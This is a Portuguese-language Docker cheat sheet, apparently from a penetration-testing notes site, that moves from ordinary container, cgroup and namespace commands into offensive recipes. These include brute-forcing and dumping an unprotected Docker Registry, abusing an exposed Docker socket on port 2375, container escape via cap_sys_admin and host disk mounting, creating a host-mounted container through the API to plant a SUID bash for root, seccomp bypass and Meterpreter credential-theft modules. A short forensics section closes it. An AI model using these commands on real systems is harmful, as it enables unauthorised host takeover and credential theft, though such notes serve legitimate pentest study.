Docker
Recursos de um Virtualizador
Cgroups
Cada container possui sua própria Cgroups (Control Groups ou Grupo de Controle). O Cgroups é responsável por controlar CPU, memória, rede e leitura/escrita de rede de cada container
Diretório onde ficam os recursos do Cgroups
/sys/fs/cgroupDentro de cada diretório (que representa um recurso), tem os subrecursos
Criando um Cgroups
cgcreate -g memory:<nome>Listando todos os Cgroups
lscgroup
lscgroup | grep i dockerDefinindo um valor pelo Cgroups. Os comandos são "repetidos", porque existe um bug, então deve-se executar os 3 comandos
cgset -r memory.memsw.limit_in_bytes=160M grupo_de_teste
cgset -r memory.limit_in_bytes=160M grupo_de_teste
cgset -r memory.memsw.limit_in_bytes=160M grupo_de_testeVerificando o valor
cgget -r memory.limit_in_bytes grupo_de_testeDeletando um Cgroups
cgdelete -g memory:grupo_de_testeNamespace
Listando os Namespace
lsnsRede
Criando rede Namespace
ip link add ens172 type dummy
ip netns add rede_teste
ip link set ens172 netns rede_testeListando redes Namespace
ip netns listExecutando comando em uma rede do Namespace
ip netns exec rede_teste ifconfig ens172 upAcessando bash dentro do namespace de rede
ip netns exec rede_teste bashInstalação e Configuração do Docker
Instalando
https://docs.docker.com/install/linux/docker-ce/ubuntu/Adicionando o usuário no grupo:
sudo groupadd docker
sudo usermod -aG docker $USEROBS.: Depois que instalado, faça logout no sistema
Informações Básicas
Versão do Docker
docker versionInformações detalhadas do Docker
docker infoExecutando Hello World
docker run hello-worldImagens
Imagens no mundo Docker, são como templates que servirão de base para executar um container.
Procurando por uma Imagem
docker search <image>Baixando um Imagem
docker pull <image>Listando Todas as Images
docker imagesRemovendo Todas as Images
docker rmi $(docker images -a -q)Remove todas as imagens que não estão "tagiadas" (possuem TAG).
Utilize docker images para ver as imagens que estão "tagiadas"
docker system pruneContainers
O Container é uma instância de uma Imagem em execução naquele momento, que pode ter status como start e stop, e pode ser destruída e gerada rapidamente a qualquer momento.
Verificando Somente os Containers que estão em execução
docker psVerificando Todos os Containers
Diferentemente do comando acima, este exibe também os Containers que estão em Stop.
docker ps -aListando Somente o ID dos Containers em Execução
docker ps -qListando o ID de dos Todos os Containers
docker ps -qExecutando um Container a Partir de um Imagem
O parâmetro --rm irá excluir o container (caso já exista).
docker run -d --rm --name <new_name_container> <image> -v <local_directory>:<container_directory>Criando um Container e Interagindo com o /bin/bash
docker run -it ubuntuAs vezes pode ser necessário chamar o nome da imagem, seguido da sua versão (TAG). Execute docker images para ver a versão. Um exemplo do comando anterior utilizando a versão, seria como no exemplo abaixo:
docker run -it ubuntu:18.04Criando um Container e Executando um Comando
docker run ubuntu ls -lhaInicializa um Container a partir de uma Imagem sem deixar o Terminal preso
Por padrão, o Docker irá deixar seu terminal preso, por isso deve utilizar a opção -d (detached), para oculte a sua saída e deixe o terminal livre para utilizar em outro propósitos.
docker run -d <image>Acessando Portas (aleatórias) de um Container externamente
Isso serve para utilizar a porta do Container como se fosse localmente.
docker run -d -P <image>Definindo Portas do Container Externamente
Diferente da opção -P, este permite escolher qual porta iremos acessar via localhost.
docker run -d -p <port_localhost>:<port_container> <image>Verificando Portas de Determinado Container
docker port <container_id>Definindo o Diretório onde irá executar determinado Comando
docker run -w "/var" ubuntu ls -lhaDefinindo Variáveis de Ambiente
Note que pode repetir o parâmetro -e quantas vezes for necessário.
docker run -d -e MYVAR="valor" -e MYVAR2="valor2" <image>Startando um Container
docker start <id_container>Startando um Container que já foi finalizado, porém deixando o Terminal em Modo Interativo
docker start -a -i <container_id>Parando Container de Forma Mais Rápida
Por padrão o docker demora 10 segundos para parar um serviço
docker stop -t 0 <container_id>Parando Todos os Containers
docker stop -t 0 $(docker ps -q)Executa determinado Comando em um Container que já está sendo Executado
# i = Interativo
# -t = Terminal
docker exec -it <container> <command>Parando (Stop) um Container e Removendo ao Mesmo Tempo
docker rm -f <container_id>Volume
Criando um Volume
docker volume create <name_volume>Deletando um Volume
docker volume rm <name_volume>Listando Todos os Volumes
docker volume lsInspecionando Volume
docker volume inspect <name_volume>Verificando Montagens (volume) de um Container
docker inspect -f {{.Mounts}} <id_container>Network
Ao criar uma rede própria (Network), podemos fazer com que um container se comunique com outros containers através do hostname
Criando uma Network
docker network create --driver bridge <nome_da_rede>Listando as Networks
docker network lsCriando um Container em uma Network
docker run -it --name <name_container> --network <nome-rede> ubuntuInspeciona Determinada Network
Útil para ver quais containers estão conectadas na rede
docker network inspect <name_network>Removendo uma Network
docker network rm <netwok_id>Dockerfile
Buildando
Caso o seu arquivo chame exatamente Dockerfile, não é preciso passar o parâmetro -f. Se atente também no ponto que está no final do comando
docker build -f <file> -t <image> .Docker Compose
Executando o docker-compose.yml
Utilize a opçao -d para jogar o processo em background e não ficar com o terminal preso. Utilize o parâmetro -f para especificar o arquivo de configuração ou deixa em branco para ficar como default, onde o irá ser procurado um arquivo chamado docker-compose.yml no diretório atual.
docker-compose up
docker-compose up -d
docker-compose -f <file.yml> up -dListando os Serviços do docker-compose
docker-compose psParando (Stop) e Removendo Todos os Containers do docker-compose
docker-compose downReiniciando os Containers do docker-compose
docker-compose -f <file.yml> restartVerificando se Está em um Docker
Assim que conseguir uma Reverse Shell ou termos qualquer tipo de acesso/interação, é importando analisarmos se estamos lidando com um Docker. Podemos fazer isso das seguintes maneiras:
Veja se existe o arquivo
/.dockerenvVerifique o hostname, que geralmente tem código (Container ID) no nome
Execute
ps -eafe verifique os processos. Geralmente Docker tem uma quantidade reduzida de processosVeja se no início do
phpinfo.phpo nome da máquina é algo como "Linux 23d24ff620b3 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64"
Gerenciando Containers sem o Docker Client
CTR
Ferramenta substituda do docker, que também permite realizar diversas operações com containers
Listando todos as imagens
ctr image lsListando todos os containers
ctr container lsIniciando um container. Note que o nome da imagem está no padrão da saída do primeiro comando do ctr, então o alpine:latest, seria o equivalente a docker.io/library/alpine:latest.
ctr run --rm --mount type=bind,src=/,dst=/,options=rbind:rw <image> <nome> sh -c "bash"RUNC
Primeiro vamos criar nosso arquivo config.json no diretório atual, através do comando:
runc specEdite o arquivo config.json, e no nó root, mude o valor de readonly para false. E logo abaixo no nó mounts, crie uma chave nova em mounts[0], com o seguinte valor:
"type": "bind",
"source": "/",
"destination": "/",
"options": ["rbind", "rw"]Crie o diretório rootfs
mkdir rootfsAgora execute o runc
runc run mystherDocker Socket
Caso a porta 2375 esteja aberta, é possível acessar o docker do host. Não existe mecanismo de segurança eficaz para isso (não é possível colocar senha), então o melhor é deixá-lo em um servidor privado, pois caso esteja exposto, qualquer pessoa poderá acessá-lo.
export DOCKER_HOST=tcp://<ip>:2375
docker psDocker Registry
Um Docker Registry é utilizado para armazenar e compartilhar imagens docker. Geralmente o Docker Registry público possui uma segurança boa, como por exemplo Docker Hub, porém o Registry Privado não, pois depende da própria segurança da empresa.
Geralmente no NMAP, iremos encontrar uma saída do tipo
5000/tcp open http Docker Registry (API: 2.0)Verificando todas os repositórios
curl http://<ip>:5000/v2/_catalogO comando acima só é possível quando o Registry está desprotegido por senha. Caso precise de senha, utilize o HTTP HEAD para ver o tipo de autenticação e depois realize um ataque de Brute Force. Para o exemplo abaixo, a saída no HEAD deve ser www-authenticate: Basic realm="Registry Realm"
hydra -l <user> -P <wordlist> <ip> -s 5000 https-get /v2/Para verificar se as credenciais estão corretas, utilize o comando abaixo:
curl -sku '<user>:<pass>' https://<ip>:5000/v2/_catalog | jqPegando as tags dos repositórios
curl http://<ip>:5000/v2/<name>/tags/listRecupera o manifest identificado pelo nome e referência, onde a referência pode ser uma tag ou digest. Também é possível realizar uma solicitação via HEAD para receber detalhes do Header Response
curl -s http://<ip>:5000/v2/<name>/manifests/<tag> | jqCom a saída do comando acima, vá em fsLayers e selecione um dos (ou todos) valores de blobSum, de cima para baixo (geralmente com o padrão sha256:<hash>). Feito isso, execute o comando abaixo para baixar os arquivos do container. Geralmente vamos ter 3 ou mais Blobs, sendo o primeiro (de baixo pra cima), a Base que são os arquivos do SO, o segundo que contém os Metadatas e o(s) último(s) que será o Diferencial, ou seja, os arquivos que foram modificados.
curl -so <output.tar> http://<ip>:5000/v2/<name>/blobs/<sha254:hash>
tar -xvf <output.tar>Automatizando o Download de Arquivos
for x in $(curl -s http://<ip>:5000/v2/<name>/manifests/latest | jq | grep -i sha256 | cut -d '"' -f 4) ; do curl -so $(echo $x | cut -d":" -f2).tar "http://<ip>:5000/v2/<name>/blobs/$x" ; tar -xvf $(echo $x | cut -d":" -f2).tar ; doneIniciando um Registro Local
docker container start registryEscapando do Container Docker
Capsh
Mostra todos os Capabilities que o Container está executando. Se tiver muitas Capabilities, provavelmente está com um Container Privilegiado, o que é um vetor de ataque. Verifique se a Capability cap_sys_admin está ativa, e se positivo, podemos sair do Docker e acessar o host hospedeiro.
capsh --printExecute então os comandos abaixo e verifique:
df -h= Exibe ooverlayapontando para o/fdisk -l= Exibe o /dev/sda1
Caso positivo, poedmos acessar os arquivos da máquina hospedeira, então execute:
mount /dev/sda1 /mnt
cd /mnt
lsApós entrar no /mnt, execute os comandos abaixo para acessar comandos no SO hospedeiro (dependendo do cenário, pode ou não funcionar).
chroot .Caso não funcione a execução de comandos no SO, não se preocupe, pois você ainda tem acesso aos arquivos do sistema. Então basta inserir um novo usuário com privilégios root no host hospedeiro e depois acessá-lo de alguma forma, como por exemplo, via SSH
API Docker
Bypass para montar Container com Volume. Primeiro pegue a versão da API (por exemplo 1.41)
docker version | grep 'API version'Agora crie um container com o volume criado
curl -s http://<ip>:2375/<api-version>/containers/create -H 'Content-type: Application/json' -d '{"Image": "<image>", "Binds": ["/:/mysther"], "Tty": true, "OpenStdin": true}' | jqInicie e acesse o container
docker start <container_id>
docker exec -it <container_id> bashEntre no diretório e enjaule
cd /mysther/
chroot . Deixe o bash com SUID Bit ativo
cp /bin/bash /tmp
chmod u+s /tmp/bashSaio do Docker e volte para a máquina principal (usuário comum do SO) e faça o PrivEsc
exit
exit
/tmp/bash -pMeterpreter
Caso tenha comprometido um host e esteja com o Meterpreter, utilize os posts abaixo para verificar se o alvo usa docker e então pegar suas credenciais.
# Verificando se o alvo utiliza Docker
post/linux/gather/checkcontainer
# Pegando credenciais
post/multi/gather/docker_credsCriando Container Privilegiado com Bypass
Privileged Bypass
Útil em casos onde temos acesso ao comando docker, porém não podemos criar containers priviligiados (--privileged).Utilize a maneira abaixo para realizar bypass
docker run -dit --security-opt "seccomp=unconfined" --name pwn ubuntu
docker exec -it --privileged pwn bashForense
Container Diff
Ferramenta desenvolvida pelo Google para analisar imagens Docker, tanto local quanto remoto.
Instalando
curl -sLO https://storage.googleapis.com/container-diff/latest/container-diff-linux-amd64
mkdir -p "/opt/bin" && export PATH="$PATH:/opt/bin"
install container-diff-linux-amd64 /opt/bin/container-diff
ln -s /opt/bin/container-diff /bin/container-diffSalvando uma imagem em seu estado atual em arquivo tar
docker image save -o <file.tar> <image>Verificando histórico de modificações de uma imagem
container-diff analyze -t history <file.tar>Verificando pacotes adicionados
container-diff analyze -t apt <file.tar>
container-diff analyze -t aptlayer <file.tar>Docker Diff
Vendo alterações realizadas depois que o container foi montado. Verifique se arquivos sensíveis como /etc/shadow foi alterados, pois isso pode ser indício de um ataque. Na saída podemos ver que as alinhas começam com C (Created), D (Deteled) e A (Altered)
docker diff <container-id>Caso encontre arquivos suspeitos e queira analisar melhor, utilize o comando abaixo para baixá-los. Como exemplo, iremos utilizar o /etc/shadow
docker cp <container-id-suspeito>:/etc/shadow shadow_suspeitoCrie um novo container com o arquivo original
docker run -d --name <image-original> <image>Copie o arquivo original para a máquina local
docker cp <container-id-original>:/etc/shadow shadow_originalAgora verifique a diferença entre esses arquivos (o que foi modificado e o original)
diff shadow_suspeito shadow_originalCRIU (Checkpoint and Restore In Userspace)
Ferramenta que permite criar pontos de restauração de Conatainers
Instalando
sudo apt install criuSites
# Reverse Shell em Conatiners
https://github.com/PinkP4nther/PinkitLast updated
Was this helpful?